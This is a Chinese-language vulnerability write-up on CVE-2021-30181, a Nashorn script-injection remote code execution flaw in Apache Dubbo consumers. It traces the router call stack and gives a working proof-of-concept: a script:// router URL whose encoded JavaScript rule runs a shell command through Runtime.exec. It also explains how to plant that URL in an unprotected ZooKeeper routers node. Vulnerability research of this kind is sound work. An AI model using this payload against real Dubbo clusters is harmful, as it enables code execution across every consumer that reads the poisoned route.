Dubbo Consumer脚本注入RCE - CVE-2021-30181

0x00 事情的由来

昨天看到Dubbo公布了几个新的CVE,一个没有Credit的中危 CVE-2021-25641,一个有Credit(Github Security Lab)的低危 CVE-2021-30181,其中CVE-2021-30181漏洞邮件标题为“RCE on customers via Script route poisoning (Nashorn script injection)”,看起来是route的地方出现的问题,执行了外部传入的script,导致RCE。

(邮件内容图)
image

按照邮件内容描述,可以知道通过配置中心(zk等),可以动态配置js脚本的路由策略,在consumer调用provider的时候,触发其执行,如果恶意用户在未授权或弱口令、没有ACL控制的zookeeper中插入恶意js脚本,将会导致consumer批量执行恶意代码。而且,这会立马执行,因为consumer会定时RPC发送心跳包到provider。

0x01 代码触发点

根据我对Dubbo代码的微末了解,以及git commit的一些信息,可以判断出,触发点相关联的部分代码应该位于ClusterInterceptor,这个拦截器主要处理一些分布式集群相关的逻辑,跟入代码,可以发现,路由选择的触发栈是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

route:81, ListenableRouter (org.apache.dubbo.rpc.cluster.router.condition.config)

route:99, RouterChain (org.apache.dubbo.rpc.cluster)

doList:610, RegistryDirectory (org.apache.dubbo.registry.integration)

list:75, AbstractDirectory (org.apache.dubbo.rpc.cluster.directory)

list:291, AbstractClusterInvoker (org.apache.dubbo.rpc.cluster.support)

doInvoke:74, FailoverClusterInvoker (org.apache.dubbo.rpc.cluster.support)

invoke:259, AbstractClusterInvoker (org.apache.dubbo.rpc.cluster.support)

intercept:47, ClusterInterceptor (org.apache.dubbo.rpc.cluster.interceptor)

invoke:92, AbstractCluster$InterceptorInvokerNode (org.apache.dubbo.rpc.cluster.support.wrapper)

invoke:82, MockClusterInvoker (org.apache.dubbo.rpc.cluster.support.wrapper)

invoke:74, InvokerInvocationHandler (org.apache.dubbo.rpc.proxy)

...

但我在debug的时候只看到了MockInvokersSelector、TagRouter、AppRouter、ServiceRouter这四个会默认存在,其中AppRouter、ServiceRouter这两个router都是condition相关的,而MockInvokersSelector用于支持mock特性,TagRouterRule是通过yaml配置进行对特定ip打tag实现特定的路由选择。其中并没有看到ScriptRouter这个关键route。

再次查找ScriptRouter构造的相关代码,找到了它是通过ScriptRouterFactory进行构造的,它有四个URL的构造例子,分别为:

1
2
3
4
5
6
7
8

script://registryAddress?type=js&rule=xxxx

script:///path/to/routerfile.js?type=js&rule=xxxx

script://D:\path\to\routerfile.js?type=js&rule=xxxx

script://C:/path/to/routerfile.js?type=js&rule=xxxx

其中,rule参数,被作为了js脚本传入,当执行ScriptRouter进行路由选择时,会触发其脚本代码的执行。

image

image

0x02 注入恶意脚本

前面只说到了触发恶意脚本执行的调用栈,以及所需要的Router,但是还没有说这个ScriptRoute需要如何触发构造。

一般情况下,URL的传入只能通过Dubbo的配置注解或XML配置文件进行配置,但是如果只是这样的话,未免利用条件就太过于苛刻了,按照Dubbo开发的尿性,根本不可能认可这是漏洞,最起码得能通过Zookeeper这样的配置中心传入利用。

先说一下consumer,当consumer启动时,会根据interface配置(例:com.threedr3am.learn.server.boot.DemoService),启动Zookeeper监听目录节点目录 /dubbo/com.threedr3am.learn.server.boot.DemoService下的三个node目录

configurators
providers
routers

当这些node下的内容变动时,consumer的Zookeeper监听器会watch到,然后通知到org.apache.dubbo.registry.integration.RegistryDirectory#notify方法,更新相关数据。

image

Zookeeper监听器订阅相关代码位于org.apache.dubbo.registry.zookeeper.ZookeeperRegistry#doSubscribe方法。

image

理论上我们只需要在routers这个node下新增配置,插入恶意代码,就能触发其执行恶意代码,先从consumers下获取一个模板配置,例/dubbo/com.threedr3am.learn.server.boot.DemoService/consumers下的配置:

1
2

consumer%3A%2F%2F127.0.0.1%2Fcom.threedr3am.learn.server.boot.DemoService%3Fapplication%3Ddubbo-consumer%26category%3Dconsumers%26check%3Dfalse%26dubbo%3D2.0.2%26init%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoService%26metadata-type%3Dremote%26methods%3Dhello%26pid%3D53953%26qos.enable%3Dfalse%26release%3D2.7.7%26revision%3D1.0%26side%3Dconsumer%26sticky%3Dfalse%26timestamp%3D1622381389749%26version%3D1.0

通过对其解码,得到很清晰的内容

1
2

consumer://127.0.0.1/com.threedr3am.learn.server.boot.DemoService?application=dubbo-consumer&category=consumers&check=false&dubbo=2.0.2&init=false&interface=com.threedr3am.learn.server.boot.DemoService&metadata-type=remote&methods=hello&pid=53953&qos.enable=false&release=2.7.7&revision=1.0&side=consumer&sticky=false&timestamp=1622381389749&version=1.0

把它修改为

1
2

script://127.0.0.1/com.threedr3am.learn.server.boot.DemoService?application=dubbo-consumer&category=routers&check=false&dubbo=2.0.2&init=false&interface=com.threedr3am.learn.server.boot.DemoService&metadata-type=remote&methods=hello&pid=53953&qos.enable=false&release=2.7.7&revision=1.0&side=consumer&sticky=false&timestamp=1622381389749&version=1.0&route=script&type=javascript&rule=s%3D%5B3%5D%3Bs%5B0%5D%3D'%2Fbin%2Fbash'%3Bs%5B1%5D%3D'-c'%3Bs%5B2%5D%3D'open%20-a%20calculator'%3Bjava.lang.Runtime.getRuntime().exec(s)%3B

注意事项:

  1. rule参数下的js代码需要先编码一下再放进去,未编码数据为:

    1
    s=[3];s[0]='/bin/bash';s[1]='-c';s[2]='open -a calculator';java.lang.Runtime.getRuntime().exec(s);
  2. category参数需要改为routers

  3. protocol需要改为script

最后编码得到

1
2

script%3A%2F%2F127.0.0.1%2Fcom.threedr3am.learn.server.boot.DemoService%3Fapplication%3Ddubbo-consumer%26category%3Drouters%26check%3Dfalse%26dubbo%3D2.0.2%26init%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoService%26metadata-type%3Dremote%26methods%3Dhello%26pid%3D53953%26qos.enable%3Dfalse%26release%3D2.7.7%26revision%3D1.0%26side%3Dconsumer%26sticky%3Dfalse%26timestamp%3D1622381389749%26version%3D1.0%26route%3Dscript%26type%3Djavascript%26rule%3Ds%253D%255B3%255D%253Bs%255B0%255D%253D'%252Fbin%252Fbash'%253Bs%255B1%255D%253D'-c'%253Bs%255B2%255D%253D'open%2520-a%2520calculator'%253Bjava.lang.Runtime.getRuntime().exec(s)%253B

接下来,把这个配置新增到Zookeeper的/dubbo/com.threedr3am.learn.server.boot.DemoService/routers,就能触发代码执行了。

image